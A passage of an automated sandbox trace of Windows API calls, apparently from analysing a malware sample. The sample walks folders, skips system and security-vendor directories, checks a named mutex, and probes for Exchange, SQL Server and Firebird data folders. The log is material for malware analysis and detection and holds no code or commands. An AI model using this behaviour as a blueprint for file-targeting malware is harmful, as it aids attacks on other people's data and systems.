files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@册U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.413] GetLastError () returned 0x2 [0056.413] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18?T\x18\x97")) returned 0xffffffff [0056.413] GetLastError () returned 0x2 [0056.413] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.413] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.413] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.413] GlobalUnlock (hMem=0x44000c) returned 0 [0056.413] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.413] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.413] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.413] GlobalUnlock (hMem=0x44000c) returned 0 [0056.414] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.414] GlobalUnlock (hMem=0x440004) returned 0 [0056.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.414] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.414] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0056.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.414] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.414] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.414] GlobalLock (hMem=0x440004) returned 0x550170 [0056.414] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.414] GlobalUnlock (hMem=0x440004) returned 0 [0056.414] GlobalLock (hMem=0x440004) returned 0x550170 [0056.414] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.414] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.414] GlobalUnlock (hMem=0x440004) returned 0 [0056.414] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.414] GlobalUnlock (hMem=0x44000c) returned 0 [0056.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0056.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\") returned 0x45 [0056.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0056.415] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.415] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.415] GlobalUnlock (hMem=0x44000c) returned 0 [0056.415] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.415] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.415] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.415] GlobalUnlock (hMem=0x44000c) returned 0 [0056.415] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.415] GlobalUnlock (hMem=0x440004) returned 0 [0056.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.416] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.416] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0056.416] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0056.416] GetLastError () returned 0x12 [0056.416] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.416] GlobalLock (hMem=0x440004) returned 0x550170 [0056.416] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.416] GlobalUnlock (hMem=0x440004) returned 0 [0056.416] GlobalLock (hMem=0x440004) returned 0x550170 [0056.416] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.416] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.416] GlobalUnlock (hMem=0x440004) returned 0 [0056.416] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.416] GlobalUnlock (hMem=0x44000c) returned 0 [0056.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.416] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.416] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.416] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.416] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.416] GlobalUnlock (hMem=0x44000c) returned 0 [0056.416] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.416] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.416] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.416] GlobalUnlock (hMem=0x44000c) returned 0 [0056.416] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.417] GlobalUnlock (hMem=0x440004) returned 0 [0056.417] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.417] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.417] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.417] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.417] GlobalLock (hMem=0x440004) returned 0x550170 [0056.417] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.417] GlobalUnlock (hMem=0x440004) returned 0 [0056.417] GlobalLock (hMem=0x440004) returned 0x550170 [0056.417] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.417] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.417] GlobalUnlock (hMem=0x440004) returned 0 [0056.417] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.417] GlobalUnlock (hMem=0x44000c) returned 0 [0056.417] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.417] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0056.417] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.417] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.417] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.417] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.417] GlobalUnlock (hMem=0x44000c) returned 0 [0056.417] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.417] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.417] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.417] GlobalUnlock (hMem=0x44000c) returned 0 [0056.417] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.417] GlobalUnlock (hMem=0x440004) returned 0 [0056.417] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.418] GlobalLock (hMem=0x440004) returned 0x550170 [0056.418] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.418] GlobalUnlock (hMem=0x440004) returned 0 [0056.418] GlobalLock (hMem=0x440004) returned 0x550170 [0056.418] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.418] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.418] GlobalUnlock (hMem=0x440004) returned 0 [0056.418] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.418] GlobalUnlock (hMem=0x44000c) returned 0 [0056.418] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.418] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14", len=0x47 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned 1 [0056.418] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.418] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.418] GlobalUnlock (hMem=0x44000c) returned 0 [0056.418] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.418] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.418] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.418] GlobalUnlock (hMem=0x44000c) returned 0 [0056.418] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.418] GlobalUnlock (hMem=0x440004) returned 0 [0056.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@쁰R쁄R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.418] GetLastError () returned 0x3 [0056.418] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18㿬Q\x181")) returned 0xffffffff [0056.419] GetLastError () returned 0x2 [0056.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18;")) returned 0xffffffff [0056.419] GetLastError () returned 0x2 [0056.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뾴R企@\x18?T\x18D")) returned 0xffffffff [0056.419] GetLastError () returned 0x2 [0056.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18Q\x18j")) returned 0xffffffff [0056.420] GetLastError () returned 0x2 [0056.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0056.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18q")) returned 0xffffffff [0056.420] GetLastError () returned 0x2 [0056.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\") returned 0x48 [0056.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0056.420] 